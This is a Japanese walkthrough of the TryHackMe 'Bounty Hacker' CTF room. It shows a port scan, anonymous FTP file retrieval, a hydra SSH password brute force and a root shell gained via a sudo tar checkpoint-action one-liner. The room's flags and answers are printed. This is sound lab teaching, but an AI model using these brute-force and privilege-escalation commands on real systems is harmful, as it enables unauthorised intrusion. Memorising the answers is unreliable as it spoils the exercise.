【WalkThrough】#3 TryHackMe / Bounty Hacker

# はじめに
TryHackMeのルーム「Bounty Hacker」のWalkThroughです。

https://tryhackme.com/r/room/cowboyhacker

# ルームの概要・WalkThroughの構成
難易度EasyのChallengesルームとなっています。
バーにいる賞金稼ぎに自分がエリートハッカーだということを証明するというストーリーらしいです。

### 主な目標・攻略の流れ
今回の攻略の流れは以下の通りです。
1. **Recon/Enum**(偵察・列挙)
1. **GainAccess**(侵入)
1. **PrivEsc**(権限昇格)

目標は`user.txt`と`root.txt`にあるフラグの取得です。

それでは始めていきましょう。
*Try Harder!*

# 環境
解説の前に今回のIPアドレスを載せておきます。参考にする際は適宜置き換えて進めてください。
```
ローカルマシン(VPN): 10.9.1.210
ターゲットマシン: 10.10.100.80
```
また、今回ローカルマシンはKali 2024.4を使用し、作業ディレクトリは`~/thm/Bounty-Hacker`とします。
解答はノートに載せ、(No answer needed)は解答が空欄であることを示します。
コードブロック内で、`<○○○>`のように<>の中に日本語の指示があれば、中の指示に従ってください。

# Task1. Living up to the title.
## Q2. Find open ports on the machine
### Recon/Enum
nmapでポートスキャンを実行してみましょう。
```
┌──(kali㉿kali)-[~/thm/Bounty-Hacker]
└─$ nmap --vv -Pn -T4 -sV -oN nmap-1.txt 10.10.100.80
(中略)
┌──(kali㉿kali)-[~/thm/Bounty-Hacker]
└─$ cat nmap-1.txt    
# Nmap 7.95 scan initiated Fri Jan 17 22:50:01 2025 as: /usr/lib/nmap/nmap --privileged --vv -Pn -T4 -sV -oN nmap-1.txt 10.10.100.80
Nmap scan report for 10.10.100.80
Host is up, received user-set (0.25s latency).
Scanned at 2025-01-17 22:50:02 JST for 27s
Not shown: 967 filtered tcp ports (no-response)
PORT      STATE  SERVICE         REASON         VERSION
20/tcp    closed ftp-data        reset ttl 63
21/tcp    open   ftp             syn-ack ttl 63 vsftpd 3.0.3
22/tcp    open   ssh             syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp    open   http            syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
(中略)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jan 17 22:50:29 2025 -- 1 IP address (1 host up) scanned in 27.92 seconds
```
次のような手掛かりが見つかりました。

:::note
1. `21`ポートでftpが動いている。`anonymous`でログインしたら何かヒントがあるかも?
1. `22`ポートでSSHが動いている。ユーザー名とパスワードがわかればアクセスできるが、今のところは情報が少ない?
1. `80`ポートでApacheが動いている。Webサイトに何か手掛かりがあるかも?
:::

:::note
**A. (No answer needed)**
:::

## Q3. Who wrote the task list?
今回は1.について探索してみようと思います。
ftpで`anonymous`としてログインできるか試してみます。
```
┌──(kali㉿kali)-[~/thm/Bounty-Hacker]
└─$ ftp 10.10.100.80
Connected to 10.10.100.80.
220 (vsFTPd 3.0.3)
Name (10.10.100.80:kali): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```
アクセスできました。何があるかのぞいてみましょうか。
```
ftp> ls
229 Entering Extended Passive Mode (|||30045|)
```
Passiveモードになってしまいました。どうやら`passive`コマンドを実行すればよいそうです。
```
ftp> passive
Passive mode: off; fallback to active mode: off.
ftp> ls
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
-rw-rw-r--    1 ftp      ftp           418 Jun 07  2020 locks.txt
-rw-rw-r--    1 ftp      ftp            68 Jun 07  2020 task.txt
226 Directory send OK.
```
今度はちゃんと実行できました。2つ気になるファイルがありますね。
せっかくなのでもらっていきましょう。
```
ftp> get locks.txt
local: locks.txt remote: locks.txt
200 EPRT command successful. Consider using EPSV.
150 Opening BINARY mode data connection for locks.txt (418 bytes).
100% |****************************************************|   418        5.82 KiB/s    00:00 ETA
226 Transfer complete.
418 bytes received in 00:00 (1.29 KiB/s)
ftp> get task.txt
local: task.txt remote: task.txt
200 EPRT command successful. Consider using EPSV.
150 Opening BINARY mode data connection for task.txt (68 bytes).
100% |****************************************************|    68        0.89 KiB/s    00:00 ETA
226 Transfer complete.
68 bytes received in 00:00 (0.20 KiB/s)
```
ダウンロードできたら、`exit`で閉じておきます。

それでは、先ほどの2つのファイルを確認してみましょう。まずは`task.txt`から。
```
┌──(kali㉿kali)-[~/thm/Bounty-Hacker]
└─$ cat task.txt  
1.) Protect Vicious.
2.) Plan for Red Eye pickup on the moon.

-lin
```
書いてある内容はさっぱりですが、`lin`という人が書いたということはわかりました。

:::note
**A. lin**
:::

## Q4. What service can you bruteforce with the text file found?
もう一つの`locks.txt`も確認しておきましょう。ファイルサイズが少し大きいような感じがするので`head`を通してあげます。
```
┌──(kali㉿kali)-[~/thm/Bounty-Hacker]
└─$ cat locks.txt | head
rEddrAGON
ReDdr4g0nSynd!cat3
Dr@gOn$yn9icat3
R3DDr46ONSYndIC@Te
ReddRA60N
R3dDrag0nSynd1c4te
dRa6oN5YNDiCATE
ReDDR4g0n5ynDIc4te
R3Dr4gOn2044
RedDr4gonSynd1cat3
```
何やら辞書ファイルのようなものが出てきました。これを使えば`lin`のパスワードを割り出せそうです。

:::note
**A. SSH**
:::

## Q5. What is the users password?
### GainAccess
`hydra`を使って、`ssh`のパスワードを辞書攻撃してみます。
```
┌──(kali㉿kali)-[~/thm/Bounty-Hacker]
└─$ hydra -l lin -P locks.txt ssh://10.10.100.80 -t 4 
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-17 23:11:11
[DATA] max 4 tasks per 1 server, overall 4 tasks, 26 login tries (l:1/p:26), ~7 tries per task
[DATA] attacking ssh://10.10.100.80:22/
[22][ssh] host: 10.10.100.80   login: lin   password: RedDr4gonSynd1cat3
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-01-17 23:11:22
```
`lin`のパスワードは`RedDr4gonSynd1cat3`だということがわかりました。

:::note
**A. RedDr4gonSynd1cat3**
:::

## Q6. user.txt
割り出したパスワードを使って、SSHにログインしていきます。
```
┌──(kali㉿kali)-[~/thm/Bounty-Hacker]
└─$ ssh lin@10.10.100.80                             
The authenticity of host '10.10.100.80 (10.10.100.80)' can't be established.
ED25519 key fingerprint is SHA256:Y140oz+ukdhfyG8/c5KvqKdvm+Kl+gLSvokSys7SgPU.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? <yesと入力>
Warning: Permanently added '10.10.100.80' (ED25519) to the list of known hosts.
lin@10.10.100.80's password: <linのパスワード(RedDr4gonSynd1cat3)を入力>
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

83 packages can be updated.
0 updates are security updates.

Last login: Sun Jun  7 22:23:41 2020 from 192.168.0.14
lin@bountyhacker:~/Desktop$
```
ログインできました!この調子で`user.txt`を探してみましょう。
```
lin@bountyhacker:~/Desktop$ ls
user.txt
lin@bountyhacker:~/Desktop$ cat user.txt
THM{CR1M3_SyNd1C4T3}
```
これで1つ目のフラグゲットです!

:::note
**A. THM{CR1M3_SyNd1C4T3}**
:::

## Q7. root.txt
### PrivEsc
権限昇格して`root`権限を取得し、`root.txt`を取っていきます。

まずはSUIDの不備から探してみましょう。
```
lin@bountyhacker:~/Desktop$ find / -perm -u=s 2> /dev/null
/usr/sbin/pppd
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/sudo
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/xorg/Xorg.wrap
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/oxide-qt/chrome-sandbox
/usr/lib/snapd/snap-confine
/bin/fusermount
/bin/su
/bin/mount
/bin/ping
/bin/ping6
/bin/umount
```
そこまで怪しげなものはなさそう。
`sudo`も調べてみましょう。
```
lin@bountyhacker:~/Desktop$ sudo -l
[sudo] password for lin: <linのパスワード(RedDr4gonSynd1cat3)を入力>
Matching Defaults entries for lin on bountyhacker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User lin may run the following commands on bountyhacker:
    (root) /bin/tar
```
明らかな穴がありますね。
`/bin/tar`が`root`として実行できるようです。これを利用して`root`権限を取得してみましょう。
[GTFOBins](https://gtfobins.github.io/)で調べてみます。
![gtfobins-tar.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3583252/9400937a-0f9e-73b5-921d-406614dad2ba.png)
ありました。そのまま実行しても良さそうなのでやってみましょう。
```
lin@bountyhacker:~/Desktop$ sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
tar: Removing leading `/' from member names
# id
uid=0(root) gid=0(root) groups=0(root)
```
成功しました!あとは`root.txt`を見つけるだけです!
```
# pwd
/home/lin/Desktop
# cd /root
# ls
root.txt
# cat root.txt
THM{80UN7Y_h4cK3r}
```
2つのフラグをゲットしたので攻略完了です。**ここまでお疲れさまでした!**

:::note
**A. THM{80UN7Y_h4cK3r}**
:::

# おまけ
最初のポートスキャンで、Apacheが動いていたのを覚えていますか?今回はおまけでそちらの探索もある程度してみました。(ちなみに何も見つかりませんでした...(´・ω・｀))

Webサイトにアクセスしてみます(`http://10.10.100.80`)。
![web-home.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3583252/2dbe3ed4-0a1f-98bc-02e0-0d5456f19219.png)
誰かの会話らしき文が表示されています。おそらくストーリーに関連したものですね。

GoBusterで隠しディレクトリも探索してみます。
```
┌──(kali㉿kali)-[~/thm/Bounty-Hacker]
└─$ gobuster dir -u http://10.10.100.80 -w /usr/share/dirb/wordlists/big.txt -o gobuster-1.txt -t 64
(中略)
┌──(kali㉿kali)-[~/thm/Bounty-Hacker]
└─$ cat gobuster-1.txt  
/.htaccess            (Status: 403) [Size: 277]
/.htpasswd            (Status: 403) [Size: 277]
/images               (Status: 301) [Size: 313] [--> http://10.10.100.80/images/]
/server-status        (Status: 403) [Size: 277]
```
`/images`というディレクトリが見つかりました。
![web-images.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3583252/67bec1c5-4dd2-1320-bbb2-5ff596fd82d5.png)
先ほどのページに載っていた写真があります。もしかしたらステガノグラフィなどが隠れていたりしそうなので調べてみましょう。
```
┌──(kali㉿kali)-[~/thm/Bounty-Hacker]
└─$ wget http://10.10.100.80/images/crew.jpg    
--2025-01-17 23:37:18--  http://10.10.100.80/images/crew.jpg
10.10.100.80:80 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 200 OK
長さ: 622303 (608K) [image/jpeg]
`crew.jpg' に保存中

crew.jpg                 100%[===============================>] 607.72K   115KB/s 時間 5.3s     

2025-01-17 23:37:23 (115 KB/s) - `crew.jpg' へ保存完了 [622303/622303]

┌──(kali㉿kali)-[~/thm/Bounty-Hacker]
└─$ steghide extract -sf crew.jpg      
Enter passphrase: <何も入力せずにEnter>
steghide: could not extract any data with that passphrase!
```
パスフレーズを`lin`にしたり`RedDr4gonSynd1cat3`にしたり色々試したのですがだめですね。
それ以外にも何かありそうですが、所詮おまけなのでここら辺で終わりにしておきます。